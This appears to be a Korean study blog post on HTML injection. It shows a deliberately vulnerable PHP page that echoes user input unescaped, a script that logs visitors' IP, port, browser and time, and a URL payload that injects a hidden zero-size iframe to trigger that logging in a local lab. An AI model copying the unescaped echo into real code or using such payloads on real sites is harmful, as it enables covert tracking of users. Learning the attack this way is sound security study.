보안 / 개발 챌린저가 목표

HTML Injection 본문

IT Security/Web hacking Study

HTML Injection

햄미은서 2020. 11. 10. 23:58

▶ HTML Injection

  - XSS나 CSRF 공격을 이해하는 데 좋은 수단.

HTML 인젝션 공격 개념

  ✔ 간단한 웹 프로그래밍을 통한 HTML 인젝션의 이해

   - 사용자의 이름을 입력 받아 화면에 이름을 나타내는 프로그램.

   - 여기서 특정 취약점을 통해 이름이 아닌 다른 값을 전송하여 클라이언트의 ip 정보를 가져올 것.

 

   ① vul.php 소스 코드

<?php
    $name = $_REQUEST ['name'];
?>
<html>
	<h1>Welcome to the Internet!</h1>
	<br>
	<body>
            Hello, <?php echo $name; ?>!
	    <p>We are so glad you are here!</p>
	</body>
</html>

   ② ip.php 소스 코드

    - 클라이언트의 IP 주소를 로그로 기록하는 php 파일

<?php
	$ip_address;
	$ip_address = $_SERVER['REMOTE_ADDR'];
	$port = $_SERVER['SERVER_PORT'];
	$agent = $_SERVER['HTTP_USER_AGENT'];
	$time = time();

	$log = $ip_address." , ".$port." , ".$agent." , ".$time;
	$file = './log.txt';
	file_put_contents($file, $log .PHP_EOL, FILE_APPEND);
?>

   ③ 주소창에 다음과 같이 입력하고 결과 확인.

http://127.0.0.1/html/vul.php?name=test<iframe width="0" height="0" src="http://127.0.0.1/html/ip.php"></iframe>

    - test 라는 이름 뒤에 <iframe>으로 ip.php를 넘김.

    - <iframe>은 html 화면에 또 다른 html 창을 넣을 수 있는 태그.

취약점 공격 화면

    - log.txt 파일을 열어보면 접속된 클라이언트의 IP와 브라우저, 시간 정보를 획득.

      (나는 전에 실습했던 기록도 남아 있음!)

'IT Security > Web hacking Study' 카테고리의 다른 글

CSRF  (0) 2020.11.19
Metasploit  (0) 2020.11.10
Scan  (0) 2020.10.27
LFI & RFI  (0) 2020.10.15
SQL Injection  (0) 2020.10.15
Comments